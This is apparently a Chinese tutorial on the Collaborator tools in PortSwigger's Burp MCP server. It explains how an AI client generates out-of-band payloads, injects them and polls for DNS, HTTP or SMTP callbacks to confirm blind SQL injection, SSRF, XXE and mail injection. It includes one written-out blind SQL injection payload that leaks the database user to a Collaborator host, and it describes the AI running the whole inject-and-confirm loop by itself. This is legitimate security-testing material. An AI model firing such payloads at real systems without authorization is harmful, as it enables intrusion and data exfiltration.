【免费下载链接】mcp-server
MCP Server for Burp
mcp-server(Burp MCP Server)是 PortSwigger 官方为 Burp Suite 推出的 MCP 扩展,其中内置了一对专为盲注检测设计的 Collaborator 工具:让 AI 自动生成 OOB(Out-of-Band,带外)Payload,并轮询 Collaborator 交互记录,从而快速确认服务端是否发起了 DNS、HTTP 或 SMTP 回连,帮你高效发现盲注类漏洞。🔍
传统盲注测试是典型的"体力活":手动生成 Payload → 拼进请求 → 盯着 Collaborator 页面等回连 → 再拼下一个。而接入 MCP 后,AI 客户端(如 Claude Desktop)可以直接调用 Burp 的这两个工具,完成"生成 → 注入 → 轮询 → 下结论"的完整闭环。
为什么盲注漏洞需要 OOB 检测?
盲注入(Blind Injection)的难点在于:请求页面上看不到任何报错或回显,攻击效果只能靠带外通道确认。典型场景包括:
- 盲 SQL 注入:报错被吞掉,但
LOAD_FILE、子查询拼接外部域名可能触发 DNS 解析 - 盲 SSRF / XXE:服务端请求你指定的 URL,回连本身就是证据
- 邮件注入:恶意参数触发 SMTP 外发,邮件内容直接暴露被注入的数据
Burp Collaborator 的作用就是充当这个"回连监听器":它给你一串专属域名(Payload),服务端一旦解析该域名、访问该 URL 或发送邮件,你的 Collaborator 面板就会收到记录。mcp-server 把这一过程暴露给了 AI。
先认识两个核心 MCP 工具
Collaborator 工具仅在Burp Suite Professional下注册(源码中位于 Professional 版本判断分支内),共两个:
| 工具名 | 作用 | 参数 |
|---|---|---|
generate_collaborator_payload | 生成一个 Collaborator Payload URL,用于 OOB 测试 | customData(可选,自定义标记) |
get_collaborator_interactions | 轮询 Collaborator 交互(DNS / HTTP / SMTP) | payloadId(可选,按 Payload 过滤) |
工具注册逻辑见 Tools.kt,参数定义见 GenerateCollaboratorPayload。
工具一:generate_collaborator_payload
调用后,Burp 的 Collaborator 客户端会生成一个形如abc123.burpcollaborator.net的专属域名,并返回三行信息:
Payload: abc123.burpcollaborator.net Payload ID: <payloadId> Collaborator server: burpcollaborator.net其中Payload ID 是关键句柄——之后轮询交互时凭它过滤,实现"哪个 Payload 被谁回连"的精确归因。customData参数还能在 Payload 上附加自定义标记,回连记录中会原样带回,方便 AI 区分同一批注入中不同位置的尝试。
工具二:get_collaborator_interactions
按payloadId过滤(或不传则返回全部)拉取交互记录,每条记录以 JSON 返回,包含:
| 字段 | 含义 |
|---|---|
type | 交互类型(DNS / HTTP / SMTP) |
timestamp | 发生时间 |
clientIp/clientPort | 回连客户端的 IP 与端口 |
customData | 你附加的自定义标记(如有) |
dnsDetails.queryType | DNS 查询类型(A / AAAA / CNAME 等) |
httpDetails | HTTP 回连的协议、完整请求与响应 |
smtpDetails | SMTP 会话全文 |
序列化结构定义在 serialization.kt。没有交互时,工具直接返回No interactions detected,AI 可据此判断"尚未回连"而非报错。
准备:让 AI 接上 Burp MCP 服务
- 将扩展 JAR 加载到 Burp(Extensions → Add → Java),构建方式见 README.md
- 在 Burp 新增的MCP标签页勾选
Enabled,服务默认监听http://127.0.0.1:9876(端口/主机可在 Advanced options 修改) - 用扩展内置的安装器一键配置 Claude Desktop,或手动在客户端配置中指向该 SSE 地址
扩展启动与 MCP 标签页的注册入口见 ExtensionBase.kt。
实战:三步让 AI 完成盲注探测
假设你在测试一个search参数,怀疑存在盲注。整个流程只需对 AI 说一句"测试这个参数是否存在 OOB 盲注":
第 1 步 · 生成 Payload🎯 AI 调用generate_collaborator_payload,拿到专属域名和 Payload ID。若参数有多个注入位置,AI 会为每个位置生成不同 Payload(或用customData打标),确保回连可归因。
第 2 步 · 注入 PayloadAI 把 Payload 域名拼入目标位置构造请求,例如:
/search?q=%27%3B%20LOAD_FILE(CONCAT(%27http%3A%2F%2Fabc123.burpcollaborator.net%2F%27%2Cuser()))--%20发送可以交给 Burp 代理历史,也可以由 AI 通过 mcp-server 的其他 HTTP 相关工具完成。
第 3 步 · 轮询确认回连📡 AI 稍等片刻后调用get_collaborator_interactions,传入 Payload ID。若返回一条DNS类型交互、clientIp是目标服务器 IP,即可确认:目标服务器解析了你的 Payload 域名 →存在 OOB 通道 → 盲注成立。SMTP 回连时,smtpDetails.conversation里往往还带着被拖出的数据。
整个过程无需人工切面板、复制域名、盯记录——这正是 MCP 把 Burp 能力"工具化"的价值。
常见问题与排查
Q1:工具列表里找不到 Collaborator 工具?两个工具只在 Professional 版注册(Tools.kt 中的版本判断),Community 版不可用;同时确认 MCP 服务已启用且客户端连对了127.0.0.1:9876。
Q2:轮询一直返回 No interactions detected?
- 回连有延迟,AI 应间隔轮询而非一次就下结论
- 目标服务器可能出网受限(DNS 通常比 HTTP/SMTP 更容易穿透,优先验证 DNS 类 Payload)
- 检查代理链路:请求要真正经过 Burp 并触发服务端行为
Q3:多位置注入时如何区分回连来源?优先用payloadId精确过滤;同批多个 Payload 时,配合customData在记录上打标记(如注入点名称),一眼归因。
相关源码导航
| 模块 | 路径 |
|---|---|
| MCP 工具定义(Collaborator 工具注册) | Tools.kt |
| 工具入参数据类 | Tools.kt |
| 交互记录序列化结构 | serialization.kt |
| MCP 工具注册框架 | McpTool.kt |
| 扩展入口与服务启动 | ExtensionBase.kt |
| Collaborator 工具单元测试 | ToolsKtTest.kt |
小结:mcp-server 的 Collaborator 工具把 Burp 最经典的 OOB 检测能力接入了 AI 工作流——generate_collaborator_payload负责"发弹",get_collaborator_interactions负责"听响"。掌握这对工具,AI 就能替你完成盲注场景下最枯燥的 Payload 管理与回连确认,把时间留给真正有价值的漏洞分析。💡
【免费下载链接】mcp-server
MCP Server for Burp
相关推荐
CANN/tensorflow TensorFlow脚本迁移快速入门
快速入门 本节通过一个简单的TensorFlow脚本迁移样例,帮助用户快速了解TensorFlow脚本迁移到昇腾平台并执行的方法。 1. 脚本迁移。 迁移前脚本
人工智能深度学习CANNOffice-PowerPoint-MCP-Server终极指南:快速实现PPT自动化生成
Office PowerPoint MCP Server终极指南:快速实现PPT自动化生成 Office PowerPoint MCP Server是一款基于P
MCP 服务人工智能GoReleaser MCP Registry 发布指南:自动生成并发布 MCP Server 清单
GoReleaser MCP Registry 发布指南:自动生成并发布 MCP Server 清单 导读 本指南讲解 GoReleaser 的 Model C
开发工具CI/CD构建工具
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考